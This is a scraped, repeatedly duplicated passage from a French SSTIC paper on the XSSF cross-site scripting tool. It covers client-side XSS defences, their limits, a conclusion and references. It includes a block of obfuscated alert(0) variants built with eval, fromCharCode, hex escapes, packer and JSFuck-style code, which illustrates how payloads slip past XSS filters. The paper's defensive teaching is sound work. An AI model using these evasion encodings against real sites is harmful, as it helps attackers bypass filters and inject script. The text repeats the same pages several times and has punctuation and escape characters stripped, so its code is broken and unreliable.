Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 32: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 33: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 34: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 35: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud